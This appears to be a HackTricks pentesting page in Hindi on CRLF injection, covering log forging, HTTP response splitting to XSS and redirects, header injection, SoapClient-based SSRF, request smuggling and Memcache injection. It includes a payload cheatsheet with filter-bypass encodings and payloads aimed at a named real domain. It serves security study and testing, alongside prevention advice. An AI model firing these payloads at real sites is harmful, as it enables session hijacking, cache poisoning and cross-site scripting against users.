29 KiB
CRLF (%0D%0A) इंजेक्शन
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप cybersecurity company में काम करते हैं? क्या आप चाहते हैं कि आपकी company का विज्ञापन HackTricks में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? SUBSCRIPTION PLANS देखें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- official PEASS & HackTricks swag प्राप्त करें
- Join the 💬 Discord group या telegram group या Twitter पर मुझे follow करें 🐦@carlospolopm.
- hacktricks repo में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें और hacktricks-cloud repo.
यदि आप hacking career में रुचि रखते हैं और अभेद्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
CRLF क्या है?
जब एक ब्राउज़र वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर HTTP प्रतिक्रिया हेडर्स और वास्तविक वेबसाइट सामग्री, यानी प्रतिक्रिया शरीर के साथ एक प्रतिक्रिया वापस भेजता है। HTTP हेडर्स और HTML प्रतिक्रिया (वेबसाइट सामग्री) को विशेष वर्णों के एक विशिष्ट संयोजन द्वारा अलग किया जाता है, जिसे कैरिज रिटर्न और लाइन फीड कहा जाता है। संक्षेप में, इन्हें CRLF के रूप में भी जाना जाता है।
वेब सर्वर CRLF का उपयोग करता है ताकि समझ सके कि नया HTTP हेडर कब शुरू होता है और दूसरा कब समाप्त होता है। CRLF यह भी बता सकता है कि एक फ़ाइल में या एक पाठ ब्लॉक में नई पंक्ति कब शुरू होती है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक हैं, इसलिए इसका उपयोग किसी भी प्रकार के वेब सर्वर द्वारा किया जाता है, जिसमें Apache, Microsoft IIS और अन्य सभी शामिल हैं।
से https://www.netsparker.com/blog/web-security/crlf-http-header/#
CRLF इंजेक्शन भेद्यता क्या है?
CRLF इंजेक्शन भेद्यता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफीड वर्णों को डालता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह सोचने में धोखा दिया जा सके कि एक ऑब्जेक्ट समाप्त हो गया है और दूसरा शुरू हो गया है। इस प्रकार CRLF अनुक्रम अपने आप में हानिकारक वर्ण नहीं हैं, हालांकि उनका उपयोग HTTP प्रतिक्रिया विभाजन आदि के लिए दुर्भावनापूर्ण इरादे से किया जा सकता है।
वेब एप्लिकेशन में CRLF इंजेक्शन
वेब एप्लिकेशन में CRLF इंजेक्शन का प्रभाव गंभीर हो सकता है, यह निर्भर करता है कि एप्लिकेशन एकल आइटमों के साथ क्या करता है। प्रभाव सूचना प्रकटीकरण से लेकर कोड निष्पादन तक हो सकते हैं, एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा भेद्यता। वास्तव में CRLF इंजेक्शन हमले का एक वेब एप्लिकेशन पर बहुत गंभीर प्रभाव पड़ सकता है, भले ही इसे कभी OWASP टॉप 10 सूची में नहीं रखा गया हो। उदाहरण के लिए नीचे दिए गए उदाहरण में बताए गए अनुसार एक एडमिन पैनल में लॉग फाइलों को मैनिपुलेट करना भी संभव है।
एक लॉग फाइल में CRLF इंजेक्शन का उदाहरण
एक एडमिन पैनल में एक लॉग फाइल की कल्पना करें जिसमें आउटपुट स्ट्रीम पैटर्न IP - Time - Visited Path हो, जैसे कि नीचे:
123.123.123.123 - 08:15 - /index.php?page=home
यदि हमलावर HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करने में सक्षम है, तो वह आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को नकली बना सकता है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए जैसा कुछ बदल सकता है:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए, हमलावर द्वारा उन अक्षरों को डालने के बाद और एप्लिकेशन द्वारा इसे प्रदर्शित करने पर, लॉग प्रविष्टियाँ इस प्रकार दिखाई देंगी:
IP - समय - देखा गया पथ
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
इसलिए CRLF इंजेक्शन भेद्यता का शोषण करके हमलावर लॉग फ़ाइल में नकली प्रविष्टियाँ बना सकता है ताकि अपनी खुद की दुर्भावनापूर्ण क्रियाओं को छिपा सके। हमलावर वास्तव में पृष्ठ हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए कल्पना कीजिए कि हमलावर के पास व्यवस्थापक का पासवर्ड है और उसने restrictedaction पैरामीटर को निष्पादित किया है, जिसका उपयोग केवल एक व्यवस्थापक द्वारा किया जा सकता है।
समस्या यह है कि यदि व्यवस्थापक देखता है कि एक अज्ञात IP ने restrictedaction पैरामीटर का उपयोग किया है, तो उसे पता चलेगा कि कुछ गलत है। हालांकि, चूंकि अब यह ऐसा लगता है कि आदेश localhost द्वारा जारी किया गया था (और इसलिए शायद किसी ऐसे व्यक्ति द्वारा जिसकी सर्वर तक पहुँच है, जैसे कि एक व्यवस्थापक) यह संदिग्ध नहीं लगता है।
प्रश्न का पूरा भाग जो %0d%0a से शुरू होता है, सर्वर द्वारा एक पैरामीटर के रूप में संभाला जाएगा। उसके बाद एक और & है जिसके साथ restricted action पैरामीटर है जिसे सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। प्रभावी रूप से यह वही प्रश्न होगा जैसे:
/index.php?page=home&restrictedaction=edit
HTTP प्रतिक्रिया विभाजन
विवरण
चूंकि HTTP प्रतिक्रिया के हेडर और इसके बॉडी CRLF अक्षरों द्वारा अलग किए जाते हैं, एक हमलावर उन्हें इंजेक्ट करने की कोशिश कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू होती है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी के अंदर डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे Cross-site Scripting संवेदनशीलता हो सकती है।
HTTP प्रतिक्रिया विभाजन का एक उदाहरण जो XSS की ओर ले जाता है
कल्पना कीजिए कि एक एप्लिकेशन एक कस्टम हेडर सेट करता है, उदाहरण के लिए:
X-Your-Name: Bob
हैडर का मान "name" नामक एक get पैरामीटर के माध्यम से सेट किया जाता है। यदि कोई URL एन्कोडिंग नहीं है और मान सीधे हैडर के अंदर प्रतिबिंबित होता है, तो हमलावर के लिए उपरोक्त उल्लिखित CRLFCRLF संयोजन को डालना संभव हो सकता है ताकि ब्राउज़र को यह बताया जा सके कि अनुरोध बॉडी शुरू होती है। इस तरह वह XSS पेलोड जैसे डेटा डालने में सक्षम होता है, उदाहरण के लिए:
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
उपरोक्त आक्रमित डोमेन के संदर्भ में एक अलर्ट विंडो दिखाएगा।
HTTP Response Splitting का उदाहरण जो Redirect की ओर ले जाता है
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Browser to:
/%0d%0aLocation:%20http://myweb.com
और सर्वर हेडर के साथ प्रतिक्रिया देता है:
Location: http://myweb.com
अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
URL पथ में
आप URL पथ के अंदर पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके:
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP हैडर इंजेक्शन
विवरण
CRLF इंजेक्शन का फायदा उठाकर, हमलावर HTTP हैडर्स डाल सकता है जिससे वह सुरक्षा तंत्र जैसे कि ब्राउज़र के XSS फिल्टर या सेम-ओरिजिन-पॉलिसी को हरा सकता है। इससे हमलावर संवेदनशील जानकारी जैसे कि CSRF टोकन्स प्राप्त कर सकता है। वह कुकीज़ भी सेट कर सकता है जिसका उपयोग वह पीड़ित को अपने खाते में लॉग इन करने या अन्यथा असंभव cross-site scripting (XSS) कमजोरियों का फायदा उठाने के लिए कर सकता है।
HTTP हैडर इंजेक्शन का उदाहरण संवेदनशील डेटा निकालने के लिए
यदि हमलावर CORS (Cross Origin Resource Sharing) को सक्रिय करने वाले HTTP हैडर्स को इंजेक्ट करने में सक्षम है, तो वह जावास्क्रिप्ट का उपयोग करके उन संसाधनों तक पहुँच सकता है जो अन्यथा SOP (Same Origin Policy) द्वारा सुरक्षित होते हैं जो अलग-अलग मूल की साइटों को एक दूसरे की पहुँच से रोकता है।
SSRF में नया HTTP अनुरोध
CRLF इंजेक्शन का दुरुपयोग करके आप नया HTTP अनुरोध बना सकते हैं और उसे इंजेक्ट कर सकते हैं।
एक अच्छा उदाहरण PHP में SoapClient डिसीरियलाइजेशन गैजेट का उपयोग करके किया जा सकता है। यह क्लास user_agent पैरामीटर के अंदर CRLF के लिए संवेदनशील है जिससे नए हैडर्स और बॉडी कंटेंट डालना संभव है। हालांकि, आप इस कमजोरी का दुरुपयोग करके नया HTTP अनुरोध इंजेक्ट करने में भी सक्षम हो सकते हैं:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
हेडर इंजेक्शन से रिक्वेस्ट स्मगलिंग
आप आवश्यक हेडर्स इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन को इनिशियल रिक्वेस्ट का जवाब देने के बाद भी खुला रखे:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
फिर, दूसरा अनुरोध निर्दिष्ट करें। यहाँ आपके पास एक क्लासिक रिक्वेस्ट स्मगलिंग है जिसमें सर्वर द्वारा इंजेक्शन के बाद अतिरिक्त हेडर्स/बॉडी जोड़ी जाती है।
यहाँ पार-उपयोगकर्ता शोषण के लिए कई विकल्पों में से दो हैं।
अगले उपयोगकर्ता के अनुरोध को जहर देने के लिए या वेब कैश को जहर देने के लिए दुर्भावनापूर्ण प्रीफिक्स निर्दिष्ट करना:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
या हमारे प्रीफिक्स को क्राफ्ट करना ताकि ट्रेलिंग जंक के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाया जा सके जिससे रिस्पॉन्स क्यू पॉइज़निंग ट्रिगर हो।
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत की जाँच करें।
Memcache इंजेक्शन
Memcache एक की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
यदि कोई प्लेटफॉर्म HTTP अनुरोध से डेटा ले रहा है और इसे बिना सैनिटाइज़ किए मेमकैश सर्वर को अनुरोध करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके नए मेमकैश कमांड्स इंजेक्ट कर सकता है।
उदाहरण के लिए, मूल खोजे गए दोष में, कैश कीज़ का उपयोग उस IP और पोर्ट को लौटाने के लिए किया जाता था जिससे एक उपयोगकर्ता को जुड़ना चाहिए, और हमलावरों ने मेमकैश कमांड्स इंजेक्ट करने में सक्षम थे जो कैश को जहर देंगे ताकि पीड़ितों का विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) हमलावर सर्वरों को भेजा जा सके:
इसके अलावा, शोधकर्ताओं ने यह भी पाया कि वे मेमकैश प्रतिक्रियाओं को असिंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट्स को उन उपयोगकर्ताओं को भेजा जा सके जिनके ईमेल हमलावर को नहीं पता थे:
पूरी जानकारी के लिए मूल लेख पढ़ें****
CRLF इंजेक्शन भेद्यता के प्रभाव
CRLF इंजेक्शन के प्रभाव विविध होते हैं और इसमें सूचना प्रकटीकरण से लेकर क्रॉस-साइट स्क्रिप्टिंग के सभी प्रभाव शामिल हैं। यह पीड़ित के ब्राउज़रों में XSS फिल्टर्स और सेम ओरिजिन पॉलिसी जैसी कुछ सुरक्षा प्रतिबंधों को भी निष्क्रिय कर सकता है, जिससे वे दुर्भावनापूर्ण हमलों के प्रति संवेदनशील हो जाते हैं।
वेब एप्लिकेशन में CRLF / HTTP हेडर इंजेक्शन्स को रोकने के तरीके
सबसे अच्छी रोकथाम तकनीक यह है कि उपयोगकर्ताओं के इनपुट को सीधे प्रतिक्रिया हेडर्स के अंदर उपयोग न करें। यदि यह संभव नहीं है, तो आपको हमेशा CRLF विशेष वर्णों को एन्कोड करने के लिए एक फंक्शन का उपयोग करना चाहिए। एक और अच्छा वेब एप्लिकेशन सुरक्षा सर्वोत्तम प्रथा यह है कि आप अपनी प्रोग्रामिंग भाषा को एक ऐसे संस्करण में अपडेट करें जो HTTP हेडर्स सेट करने वाले फंक्शन्स के अंदर CR और LF को इंजेक्ट करने की अनुमति न दे।
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
स्वचालित उपकरण
ब्रूट-फोर्स पता लगाने की सूची
संदर्भ
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
यदि आप hacking career में रुचि रखते हैं और असंभव को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप cybersecurity company में काम करते हैं? क्या आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाओं की जाँच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- 💬 Discord group में शामिल हों या telegram group या Twitter पर मुझे फॉलो करें 🐦@carlospolopm.
- hacktricks repo में PRs सबमिट करके अपनी hacking tricks साझा करें और hacktricks-cloud repo.